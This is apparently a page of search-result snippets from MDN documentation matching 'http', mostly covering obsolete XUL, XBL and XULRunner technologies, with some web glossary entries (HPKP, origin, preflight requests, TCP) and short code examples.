... example dialog with more features <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favourite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //doso...
Creating a Window - Archive of obsolete content
the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements.
... xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this line declares the namespace for xul, which you should put on the window element to indicate that all of its children are xul.
Creating a Wizard - Archive of obsolete content
an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a b...
...for example: <wizard id="example-window" title="select a dog wizard" onwizardfinish="return savedoginfo();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> when the user clicks the finish button, the function savedoginfo() will be called, which would be defined in a script file to save the information that was entered.
Document Object Model - Archive of obsolete content
here are some examples: <button xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/> <button xmlns="http://www.w3.org/1999/xhtml"/> <html:button xmlns:html="http://www.w3.org/1999/xhtml"/> <html:button xmlns:html="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/> namespaces are specified using the xmlns attribute.
... in the third example, the prefix 'html' is mapped to the namespace 'http://www.w3.org/1999/xhtml'.
Element Positioning - Archive of obsolete content
the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier.
... example 5: source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yesno" title="question" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes"/> <button label="no"/> </hbox> <hbox align="center"> <button label="maybe"/> <button label="perhaps"/> </hbox> </window> you can also use the style properties -moz-box-pack and -moz-box-align instead of specifying attributes.
Introduction to XBL - Archive of obsolete content
the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
...xul (example.xul): <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://example/skin/example.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box class="okcancelbuttons"/> </window> css (example.css): box.okcancelbuttons { -moz-binding: url('chrome://example/skin/example.xml#okcancel'); } xbl (example.xml): <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="...
Localization - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="findfile.css" type="text/css"?> <!doctype window system "chrome://findfile/locale/findfile.dtd"> <window id="findfile-window" title="&findwindow.title;" persist="screenx screeny width height" orient="horizontal" onload="initsearchlist()" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="&copycmd.label;" accesskey="&copycmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </menupopup> </popupset> <keys...
...upopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="&mode.is;"/> <menuitem label="&mode.isnot;"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"> <template> <menupopup> <menuitem label="rdf:http://www.xulplanet.com/rdf/recent#label" uri="rdf:*"/> </menupopup> </template> </menulist> </groupbox> </tabpanel> <tabpanel id="optionspanel" orient="vertical"> <checkbox id="casecheck" label="&casesensitive;"/> <checkbox id="wordscheck" label="&matchfilenam...
Tree View Details - Archive of obsolete content
<window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> </window> we use a simple tree here with no data in the treechildren.
...they are added near the end of the complete example, shown here: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> <script> <![cdata[ var treeview = { childdata : { solids: ["silver", "gold", "lead"], liquids: ["mercury"], gases: ["helium", "nitrogen"] }, visibledata : [ ["s...
XBL Inheritance - Archive of obsolete content
for example, the following binding creates a textbox which adds the text 'http://www' to the beginning of its value when the f4 key is pressed.
... example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
XUL Parser in Python/source - Archive of obsolete content
import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc.
... def strip(snip): t = re.sub('http://.*?\s', '', snip) return t class xulparser(xmllib.xmlparser): def unknown_starttag(self, t, a): name = strip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write...
browser - Archive of obsolete content
rences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, swapdocshells examples <!-- shows mozilla homepage inside a groupbox --> <groupbox flex="1"> <caption label="mozilla homepage"/> <browser type="content" src="http://www.mozilla.org" flex="1"/> </groupbox> attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields.
...the http referer header is set accordingly.
iframe - Archive of obsolete content
this can be a serious security vulnerability, for example if you use src="http://...".
... attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webnavigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var url = obj.selecteditem.value; // note the firstchild is the menupopup element document.geteleme...
prefwindow - Archive of obsolete content
logcancel, ondialogdisclosure, ondialoghelp, onload, onunload, title, type properties buttons, currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="saveoptions" label="backups"> <preferences> <preference id="pref-backup" name="myapp.mybackups" type="bool"/> <preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/> </preferences> <checkbox label="automatically save backups" preference="pref-backup"/> <textbox label="d...
... <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="my-config-dialog" title="my application: configuration" onunload="onunload(event.target)"> </prefwindow> function onunload(prefwindow) { // do actions there like saving values, password setting (that is not handled as a preference), etc.
wizard - Archive of obsolete content
e, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, title, wizardpages methods advance, cancel, extra1, extra2, getbutton, getpagebyid, goto, rewind examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> ...
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows properties canadvance type: boolean this property is set to true if the user can press the next button to go to the next page.
Dialogs in XULRunner - Archive of obsolete content
here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ ...
...the xul filepickers are xpcom components and must be instantiated before using, like this: function dofileopen() { /* see: http://developer.mozilla.org/en/docs/xul_tutorial:open_and_save_dialogs */ var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "open file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); var res = fp.show(); if (res == nsifilepicker...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soa...
... soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlen...
Windows and menus in XULRunner - Archive of obsolete content
here is an example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> ...
... building on the simple window code, here is what xul menus and toolbars look like: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup"> <menuitem label="&file.new;" oncommand="dofilenew();"/> <menuitem label="&file.open;" oncommand="dofileopen();"/> <menuitem label="&file.save;" oncommand="dofilesave(...
nsIContentPolicy - Archive of obsolete content
shouldprocess() will get this for, for example <meta> refresh elements and http refresh headers.
... type_xmlhttprequest 11 indicates an xmlhttprequest.
2006-11-17 - Archive of obsolete content
discussions mozilla access to http?
... user is looking for advice how to access http or snipurl.
2006-11-03 - Archive of obsolete content
(http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig.
...he has created the following bug entry https://bugzilla.mozilla.org/show_bug.cgi?id=331404.
2006-12-01 - Archive of obsolete content
http://www.juicescript.org/ discussions deleting objects in spidermonkey a user asks if there's a method of manually deleting an object in spidermonkey before garbage collector deletes it.
... http://www.whitebeam.org is an example of open source server side javascript.
2006-09-30 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - sept 30- oct 5, 2006 announcements build a xpcom component on mac os x benjamin smedberg confirmed that this tutorial http://www.iosart.com/firefox/xpcom/ is misleading as it uses the standalone glue (-dxpcom_glue) for components, which is not recommended.
... developers should use this sample instead: http://developer.mozilla.org/en/docs/xpcom_glue discussions dynamic load overlay a short discussion about the possibilities of loading and unloading xul overlay runtime reading binary data from file discusses about the code to read binary data from file how to build xpcom component on mac os x discusses about the make file code used to build xpcom components on mac os x successfully meetings none during this week.
NPN_GetURL - Archive of obsolete content
can be of any type, such as http, ftp, news, or mailto.
...for http urls, the browser resolves this method as the http server method get, which requests url objects.
NPStream - Archive of obsolete content
this field is used only for http and is null for other types of streams.
...the headers include the http status line and all headers, verbatim as received from the server.
Adobe Flash - Archive of obsolete content
these block-listed modules include various fingerprinting and http_cookie#supercookie modules.
...the following code snippet illustrates the ideas behind the use of fscommands demonstrated in example 3: <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" id="myflash" width="250" height="150" viewastext> <param name="movie" value="js2flash.swf" /> <param name="quality" value="high"></param> <embed src="js2flash.swf" width="250" height="150" swliveconnect="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockw...
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> ...
... <link>http://www.example.com/article/54321</link> <wfw:commentrss>http://www.example.com/feed/rss/54321/comments</wfw:commentrss> </item> <item> <title>rain is wet</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54320</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</pubdate> <link>http://www.example.com/article/54320</link> <wfw:commentrss>http://www.example.com/feed/rss/54320/comments</wfw:commentrss> </item> <item> <title>huh?!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54319</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/article/54319</link> <wfw:commentrss>http://www.example.com/feed/rss/54319/comments</wfw:commentrss> </item> </channel> </rss> the <wfw:commentrss> element is...
title - Archive of obsolete content
netscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> ...
... <url>http://www.advogato.org/image/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously.
Introduction to SSL - Archive of obsolete content
other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/ip in the sense that they all use tcp/ip to support typical application tasks such as displaying web pages or running email servers.
... the ssl protocol runs above tcp/ip and below higher-level protocols such as http or imap.
Creating a Skin for Firefox - Archive of obsolete content
contents getting started original document information author(s): neil marshall and tucker lee other contributors: brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, david james, dan mauch, anders conbere, tim regula (http://www.igraphics.nn.cx) copyright information: copyright 2002-2003 neil marshall, permission given to mdc to migrate into the wiki april 2005 via email.
... original location: http://www.eightlines.com/neil/mozskin ...
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ this is an adaptation of a presentation that i gave while at mashup camp boston.
... click the video link to begin (14:39 minutes long, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click this link and select save as...
Using SSH to connect to CVS - Archive of obsolete content
if you are behind a firewall with an http tunneling proxy, you can use a program called corkscrew, in combination with the proxycommand ssh config directive to continue to access the mozilla cvs server.
... make sure you have a ~/.ssh/config file that has at least the following directives preferredauthentications hostbased,publickey,password host cvs.mozilla.org proxycommand corkscrew <i>proxyserver.foo.com</i> <i>port</i> %h %p replaceproxyserver.foo.com with the hostname of your proxy server, andport with the numeric tcp port on which the http tunnel is running.
-moz-binding - Archive of obsolete content
syntax /* <url> value */ -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <url> the url for the xbl binding (including the fragment identifier).
... formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <url> | none examples .exampleone { -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
Processing XML with E4X - Archive of obsolete content
default default xml namespace = "http://www.w3.org/1999/xhtml"; // no need now to specify a namespace in the html tag var xhtml = <html><head><title></title></head><body> <p>text</p></body></html>; alert(xhtml.head); // no need to specify a namespace on subelements here either non-default var xhtml = <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>embedded svg demo</title> </head> <body> <h1>embedded sv...
...g demo</h1> <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100"> <circle cx="50" cy="50" r="20" stroke="orange" stroke-width="2px" fill="yellow" /> </svg> </body> </html>; alert(xhtml.name().localname); // alerts "html" alert(xhtml.name().uri); // alerts "http://www.w3.org/1999/xhtml" to access elements that are within a non-default namespace, first create a namespace object encapsulating the uri for that namespace: var svgns = new namespace('http://www.w3.org/2000/svg'); this can now be used in e4x queries by using namespace::localname in place of a normal element specifier: var svg = xhtml..svgns::svg; alert(svg); // shows the <svg> portion of the document using generators/iterators with e4x as of javascript 1.7, it is possible to use genera...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
importpackage( java.net ); // connect to the remote resource var u = new url( "http://www.mozilla.org/news.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces default xml n...
...amespace = "http://purl.org/rss/1.0/"; var dc = new namespace( "http://purl.org/dc/elements/1.1/" ); var rdf = new namespace( "http://www.w3.org/1999/02/22-rdf-syntax-ns#" ); // use e4x to process the feed var x = new xml( str ); for each( var i in x..item ) { print( "title: " + i.title + "\n" ); print( "about: " + i.@rdf::about + "\n" ); print( "link: " + i.link + "\n" ); print( "date: " + i.dc::date + "\n" ); } the first half of this script is standard java code used to retrieve the feed data.
2D collision detection - Game development
green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enterframe", function () { if (rect1.x ...
...green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> #cr-stage { position: static !important; height: 200px !important; } crafty.init(200, 200); var dim1 = {x: 5, y: 5} var dim2 = {x: 20, y: 20} crafty.c("circle", { circle: function(radius, color) { this.radius = radius; this.w = this.h = radius * 2; this.color = color || "#000000"; ...
Gecko FAQ - Gecko Redirect 1
xml 1.0: full support, except for processing to manipulate default attributes rdf: full support, except for abouteach, abouteachprefix, and parsetype javascript 1.5, including ecma-262 edition 3 (ecmascript) compliance, except for date.todatestring and date.totimestring, which are not implemented transfer protocols: http 1.1 (including gzip compression), ftp ssl unicode oji (open java interface) image formats png gif jpeg, pjpeg does "full support" mean that gecko has zero bugs today or will have zero bugs at some point in the future?
...s, form controls, frames, tables, and form submission bug reports marked with the html4 keyword "meta bug" for tracking outstanding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css1, css2, and css3 keywords) dom: see dom0, dom1, dom2 and event handling components xml rdf core javascript language interpreter (javascript engine) http 1.1 compliance bugs should generally be found on the networking, networking - general, and networking: cache components oji imagelib image library (see also jpeg image handling and png image handling) ssl-related bugs are filed on the crypto component for information about the known bugs of a specific commercial product based on gecko, see that product's release notes.
502 - MDN Web Docs Glossary: Definitions of Web-related terms
an http error code meaning "bad gateway".
... learn more list of http response codes ...
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie.
... learn more general knowledge http cookie on wikipedia ...
Entity header - MDN Web Docs Glossary: Definitions of Web-related terms
an entity header is an http header that can be used in an http request or response, and describes the content of the body of themessage.
... a few request headers after a get request: in the following example, content-length is an entity header, while host and user-agent are requests headers: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden header name is the name of any http header that cannot be modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name).
...names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest.
HPKP - MDN Web Docs Glossary: Definitions of Web-related terms
http public key pinning (hpkp) is a security feature that tells a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates.
... learn more public-key-pins public-key-pins-report-only rfc 7469 wikipedia: http public key pinning ...
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge internet explorer on wikipedia history of internet explorer on wikipedia internet explorer versions on wikipedia learning about internet explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie...
...-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
sensitive sites without https encryption on public wi-fi networks aren't trustworthy.
... check for https in your address bar and ensure encryption is in-place before logging in.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
it is an options request, using three http request headers: access-control-request-method, access-control-request-headers, and the origin header.
... for example, a client might be asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for ...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
quic was designed to support the semantics of http/2.
... resources chromium projects documentation ietf draft see also http/2 ...
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
it is a special syntax allowed in some http headers and in html.
... more information http headers using q-values in their syntax: accept, accept-charset, accept-language, accept-encoding, te.
REST - MDN Web Docs Glossary: Definitions of Web-related terms
because http, the standard protocol hehind the "world wide web", "web" also transfers documents and hypertext links, simple http apis are sometimes colloguially referred to as restful apis, restful services, or simply rest services, although they don't necessarily adhere to all rest constraints.
... beginners can assume a rest api means an http service that can be called using standard web libraries and tools.
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
consider an example internet address: https://developer.mozilla.org here org is the tld; mozilla.org is the second-level domain name; and developer is a subdomain name.
... all together, these constitute a fully-qualified domain name; the addition of https:// makes this a complete url.
TOFU - MDN Web Docs Glossary: Definitions of Web-related terms
tofu is used in the ssh protocol, in http public key pinning (hpkp) where the browsers will accept the first public key returned by the server, and in strict-transport-security (hsts) where a browser will obey the redirection rule.
... learn more http public key pinning (hpkp) public-key-pins wikipedia: tofu ...
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
tcp encapsulates higher level protocol data such as http and, smtp (email) .
...the three message mechanism is designed for the two computers that want to pass information back and forth and can negotiate the parameters of the connection before transmitting data such as http browser requests.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of http, urls are called "web address" or "link".
... your browser displays urls in its address bar, for example: https://developer.mozilla.org some browsers display only the part of a url after the "//", that is, the domain name.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
examples of same origin http://example.com/app1/index.html http://example.com/app2/index.html same origin because same scheme (http) and host (example.com) http://example.com:80 http://example.com same origin because a server delivers http content through port 80 by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp...
....example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html living standardthe definition of 'origin' in that specification.
Time to first byte - MDN Web Docs Glossary: Definitions of Web-related terms
this time includes dns lookup and establishing the connection using a tcp handshake and ssl handshake if the request is made over https.
... ttfb is the time it takes between the start of the request and the start of the response, in milliseconds: ttfb = responsestart - requeststart see also: a typical http session performanceresourcetiming performancetiming ...
MDN Web Docs Glossary: Definitions of Web-related terms
cell grid column grid container grid lines grid row grid tracks guard gutters gzip compression h hash head high-level programming language hmac hoisting host hotlink houdini hpkp hsts html html5 http http header http/2 http/3 https hyperlink hypertext i i18n iana icann ice ide idempotent identifier idl ietf iife imap immutable index indexeddb information architecture inheritance ...
...ai wcag web performance web server web standards webassembly webdav webextensions webgl webidl webkit webm webp webrtc websockets webvtt whatwg whitespace world wide web wrapper x xforms xhr (xmlhttprequest) xhtml xinclude xlink xml xpath xquery xslt other 404 502 alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex-direction gl...
HTML: A good basis for accessibility - Learn web development
<h1>links</h1> <p>this is a link to <a href="https://www.mozilla.org">mozilla</a>.</p> <p>another link, to the <a href="https://developer.mozilla.org">mozilla developer network</a>.</p> <h2>buttons</h2> <p> <button data-message="this is from the first button">click me!</button> <button data-message="this is from the second button">click me too!</button> <button data-message="this is from the third button">and me!</button> </p> <h2>form...
... link that opens a new tab or window <a target="_blank" href="https://www.wikipedia.org/">wikipedia (opens in a new window)</a> link to a non-html resource <a target="_blank" href="2017-annual-report.ppt">2017 annual report (powerpoint)</a> if an icon is used in place of text to signify this kind of links behavior, make sure it includes an alternate description.
HTML: A good basis for accessibility - Learn web development
<h1>links</h1> <p>this is a link to <a href="https://www.mozilla.org">mozilla</a>.</p> <p>another link, to the <a href="https://developer.mozilla.org">mozilla developer network</a>.</p> <h2>buttons</h2> <p> <button data-message="this is from the first button">click me!</button> <button data-message="this is from the second button">click me too!</button> <button data-message="this is from the third button">and me!</button> </p> <h2>form...
... link that opens a new tab or window <a target="_blank" href="https://www.wikipedia.org/">wikipedia (opens in a new window)</a> link to a non-html resource <a target="_blank" href="2017-annual-report.ppt">2017 annual report (powerpoint)</a> if an icon is used in place of text to signify this kind of links behavior, make sure it includes an alternate description.
Advanced styling effects - Learn web development
first, background-blend-mode — here we'll show a couple of simple <div>s, so you can compare the original with the blended version: <div> </div> <div class="multiply"> </div> now some css — we are adding to the <div> one background image and a green background color: div { width: 250px; height: 130px; padding: 10px; margin: 10px; display: inline-block; background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } .multiply { background-blend-mode: multiply; } the result we get is this — you can see the original on the left, and the multiply blend mode on the right: mix-blend-mode now let's look at mix-blend-mode.
